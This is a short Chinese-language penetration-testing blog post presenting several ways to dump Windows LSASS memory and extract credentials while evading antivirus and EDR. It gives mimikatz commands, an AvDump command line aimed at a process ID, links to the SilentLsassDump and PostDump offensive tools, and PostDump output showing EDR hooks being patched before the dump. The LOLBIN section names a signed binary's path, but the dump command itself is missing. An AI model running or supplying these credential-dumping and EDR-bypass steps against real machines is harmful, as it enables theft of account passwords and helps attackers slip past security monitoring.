文章前言
获取Windows用户的凭证信息是渗透过程中至关重要的一步，如果没有杀软，那么只要有权限想怎么读就怎么读，当有杀软时就得用一些特别的技巧，本篇文章将简单介绍几种之前在Twitter上看到的小技巧，仅供大家参考
LOLBIN
文件路径(需要下载最新版本的VS2022)：
C:\\\\Program Files\\\\Microsoft Visual Studio\\\\2022\\\\Community\\\\Common7\\\\IDE\\\\Extensions\\\\TestPlatform\\\\Extensions证书说明：微软签名
转储实践：
之后使用mimikatz查看dump.txt：
sekurlsa::minidump \\\"c:\\\\users\\\\mr.d0x\\\\downloads\\\\dump.txt\\\"sekurlsa::logonpasswords
AvDump
文件下载(安全性自查)：
https://github.com/f1tz/Misc/blob/9c41db77e41d42146467516ca865313f810c44f3/AvDump/x86/AvDump.exe
转储命令：
.\\\\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
SilentLsassDump
项目地址：
https://github.com/guervild/BOFs/tree/dev/SilentLsassDump
silentLsassDump <LSASS PID>PostDump
项目地址：
https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump
项目介绍：PostDump是由COS团队(网络攻击和安全)开发的C#工具，它使用几种技术绕过EDR Hook和lsass保护来执行内存转储(lsass)
项目使用：
C:\\\\Temp>PostDump.exe[*] NtReadVirtualMemory: HOOKED! Patching...[*] NtReadVirtualMemory --> NOT Hooked![*] NtOpenProcess: NOT Hooked![*] Real Process Handle: 728[*] PssCaptureSnapshot: NOT Hooked![*] Snapshot succeed! Duplicate handle: 1549097566208[*] MiniDumpWriteDump: NOT Hooked![*] Duplicate dump successful. Dumped 49737034 bytes to: c:\\\\Temp\\\\yolo.log
原创文章，作者：七芒星实验室，如若转载，请注明出处：https://www.sudun.com/ask/34327.html
